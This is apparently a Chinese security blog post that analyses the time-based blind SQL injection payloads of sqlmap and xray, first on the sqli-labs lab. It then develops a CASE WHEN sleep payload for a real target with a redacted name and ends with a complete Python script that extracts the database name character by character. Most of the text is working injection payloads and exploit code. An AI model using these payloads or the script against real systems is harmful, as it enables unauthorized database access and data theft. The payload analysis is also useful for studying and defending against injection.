测试网页为sqli-labs第一关
sqlmap语句:
python sqlmap.py -u "http://192.168.0.106/sqli-labs/Less-1/?id=1" --technique T -v 3
payload:
1"),),'...(
1'zIxMvJ<'">rrGmBk
通过第一个payload的回显报错信息得出DBMS为MySQL,通过第二个payload测试出可能存在XSS
ID:1) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- Qale
ID:1) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND (3895=3895
ID:1)) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND ((1920=1920
ID:1))) AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND (((6558=6558
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- kLlM
ID:1 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)# CiLj
ID:1) WHERE 8097=8097 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- nBuM
ID:1 WHERE 3179=3179 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- udCB
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))+
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr))+
ID:1+(SELECT ZEzT WHERE 8697=8697 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))+
ID:1)) AS XVbP WHERE 9410=9410 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- SKCV
ID:1) AS pVEy WHERE 6863=6863 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- LTKs
ID:1` WHERE 2045=2045 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- Gxus
ID:1`) WHERE 9424=9424 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- SNuh
ID:1`=`1` AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr) AND `1`=`1
ID:1]-(SELECT 0 WHERE 3234=3234 AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))|[1
ID:1') AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- cpjB
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
通过上述payload进行时间盲注的测试,可以看出fuzz payload构造的基本思想是
闭合字段 + and + 延时语句 + 闭合字段 + (mysql注释)
其中采用的闭合字段为
)
,))
,)))
,空格
,`,'
,')
在测试到闭合为'
时,延时语句正确执行,结束fuzz。(sqlmap还有更多的闭合字段因为在检测到’后fuzz就停止了)
fuzz中采用的延时语句为
(SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))
是一个常见的延时注入payload在下文实例部分会分析这个payload。
注释部分则使用
-- 随机字符
,空格
或不加注释 靠闭合字段来闭合后面的sql语句
判定参数id存在time注入的语句为最后两句:
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(0)))mDcr)-- RXjY
ID:1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
通过这两次请求的响应时间可判断语句成立
在闭合fuzz后sqlmap进行了误报的检查,检查的payload如下
[INFO] checking if the injection point on GET parameter 'id' is a false positive
1' AND (SELECT 4167 FROM (SELECT(SLEEP(5-(IF(35=35,0,5)))))jMIP)-- ZYst
1' AND (SELECT 8544 FROM (SELECT(SLEEP(5-(IF(35=41,0,5)))))hAmP)-- yCjE
1' AND (SELECT 6834 FROM (SELECT(SLEEP(5-(IF(35=53,0,5)))))KQfm)-- rXvn
1' AND (SELECT 9915 FROM (SELECT(SLEEP(5-(IF(53=41,0,5)))))drMK)-- JxOx
1' AND (SELECT 8260 FROM (SELECT(SLEEP(5-(IF(41=41,0,5)))))DFXG)-- Mjne
1' AND (SELECT 4472 FROM (SELECT(SLEEP(5-(IF(53 41,0,5)))))yvtU)-- rmYJ
与上面的payload基本相同 加入了if语句增加了payload的逻辑复杂性 进一步判断服务器是否执行了payload中的sleep语句
[DEBUG] checking for parameter length constraining mechanisms
[PAYLOAD] 1' AND (SELECT 3612 FROM (SELECT(SLEEP(5-(IF(3891= 3891,0,5)))))QgDB)-- xjcz
[DEBUG] checking for filtered characters
[PAYLOAD] 1' AND (SELECT 6967 FROM (SELECT(SLEEP(5-(IF(2926>2925,0,5)))))ZHQV)-- xHYf
[INFO] the back-end DBMS is MySQL
1' AND (SELECT 3656 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x254d61726961444225,0,5)))))SmlS)-- fDdI
[11:49:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
1' AND (SELECT 6398 FROM (SELECT(SLEEP(5-(IF(VERSION() LIKE 0x255469444225,0,5)))))VTDN)-- susC
1' AND (SELECT 2601 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x256472697a7a6c6525,0,5)))))SJvF)-- vdey
1' AND (SELECT 3002 FROM (SELECT(SLEEP(5-(IF(@@VERSION_COMMENT LIKE 0x25506572636f6e6125,0,5)))))IoVy)-- WwrT
1' AND (SELECT 8807 FROM (SELECT(SLEEP(5-(IF(AURORA_VERSION() LIKE 0x25,0,5)))))gccu)-- xHre
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
对payload中判断语句十六进制解码得到:
%MariaDB%
%TiDB%
%drizzle%
%Percona%
即上述payload是为了进一步判断mysql的版本
最后sqlmap给出如下的检测结果
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr)-- RXjY
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
1'and/**/extractvalue(1,concat(char(126),md5(1732124737)))and'
1"and/**/extractvalue(1,concat(char(126),md5(1502884810)))and"
1/**/and+3=5
extractvalue(1,concat(char(126),md5(1559837452)))
1'and'k'='k
1'and(select'1'from/**/cast(md5(1727614791)as/**/int))>'0
1'and'u'='i
1"and"y"="m
1'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1356618605')))>'0
1鎈'"\(
1'"\(
(select*from(select+sleep(0)union/**/select+1)a)
(select*from(select+sleep(2)union/**/select+1)a)
1'and(select*from(select+sleep(0))a/**/union/**/select+1)='
1'and(select*from(select+sleep(2))a/**/union/**/select+1)='
可以看出和sqlmap大体的思路差不多,对于分割符号的fuzz要比sqlmap少,关注时间盲注的payload,其中延时语句为(select*from(select+sleep(2))a/**/union/**/select+1)
和sqlmap的(SELECT 7548 FROM (SELECT(SLEEP(5)))mDcr))
也基本相同。
一个实用的时间盲注fuzz payload
在一次测试中,发现一个参数存在时间盲注,fuzz的payload为desc,(select*from(select+sleep(2)union/**/select+1)a)
。通过上文对xray和sqlmap的payload分析,这个延时查询语句是一种使用很广泛的sql时间注入fuzz语句。
这个payload的语义为select * from a,其中表a又是select sleep(2) union select 1的结果,在进行select sleep(2)的过程中会执行sleep函数,暂停两秒,通过响应的时间来判断payload是否正确执行。
与此payload相似的sqlmap的payload形如(SELECT 3518 FROM (SELECT(SLEEP(5)))iZFM)-- WOkp
同样也是利用select sleep(5)
来让程序休眠。还有一点比较关键,通过下面的测试图片可以看出加上括号后这条查询语句的内容还可以看成恒为true的结果和and并列。
可以与常见的if(表达式,sleep(2),1)做对比,当sleep函数执行时整体的表达式结果为false。
通过改变sleep时间与响应的时间成正比,确定了此处应该存在时间盲注,接下来开始构造payload来跑数据库名。
现在要做的就是把fuzz payload中(select*from(select+sleep(2)union/**/select+1)a))
替换为带有判断功能的sql语句,第一时间想到的就if(substr(length(database())=5,sleep(3),1))
但是经过测试发现用if语句来构造判断并不能执行,想到前几天发现的盲注用if也不能直接执行,虽然不知道后端是怎么实现的,不过个人感觉if在盲注中的局限性应该是比较大的。
if失败以后想到case when也可以进行逻辑判断,遂去研究了一下case when语句的语法。经过查询资料发现case when用两种用法。
CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END: 枚举这个字段所有可能的值*
测试代码:
判断的流程为,case指定一个判断参数的名字(列名),when后面指定参数值,当参数=参数值时,把end后面的新列名指定为then后面的值。所以应该可以尝试在when后面的字段插入想要的判断语句。
测试语句:
select user '用户',case user when 'kit' then '本人' when 'root' then '管理员' else '其他人' end '身份' from mysql.user;
CASE WHEN [expr] THEN [result1]…ELSE [default] END:搜索函数可以写判断,并且搜索函数只会返回第一个符合条件的值,其他case被忽略
这种用法应该也可以构造,第一种构造成功后,比较懒就没有去尝试。
通过对测试语句的改造,最终的payload语句:
(select 1,case 1 when (substr(database(),1,1)='e') then sleep(2) else 1 end)
通过这个payload可以进行when后面判断语句的执行,而且整个语句加括号后可以和and并列。
由于sqlmap无法成功跑出数据库信息,甚至连此处存在时间盲注都没有发现…(可能是自己level,risk调整的有问题。)于是决定自己写脚本跑数据。
基本的想法就是发送带有payload的post请求,通过time.time()请求持续的时间来判断语句执行情况,先爆出数据库长度,再根据长度遍历每个位置的字符,字符集利用string库中的printable来遍历。最终的代码如下所示:
import string
import requests
import time
# 时间盲注跑用户名
target = 'https://xxxxx.com'
def send_payload(payload):
stime = time.time()
r = requests.post(url=target,data={
'module':'IpgOutFilesManager',
'fun':'GetWebList',
'OrderName':'addDate',
'pageNum':'2',
'pageSize':'10',
'token':'0000f16a5f9af0ed42e78a719839f0025cfd',
'OrderType':payload
})
etime = time.time()
if etime - stime > 3:
return True
else:
return False
len_payload = "desc,(select 1,case 1 when (length(database())={len}) then sleep(4) else 1 end)"
time_payload = "desc,(select 1,case 1 when (substr(database(),{pos},1)={ch}) then sleep(4) else 1 end)"
if __name__ == '__main__':
# 获得长度
length = 0
res = []
while(True):
result = send_payload(len_payload.format(len=length))
print('正在检测长度' + str(length))
if result:
print("数据库长度为" + str(length))
break
else:
length+=1
# 获得名称
for i in range(length):
for a in list(string.printable):
result = send_payload(time_payload.format(pos=i+1,ch="\'" + a +"\'"))
if result:
print('数据库名:位置' + str(i+1) + '字符' + a)
res.append(a)
break
print('数据库名为' + "".join(res))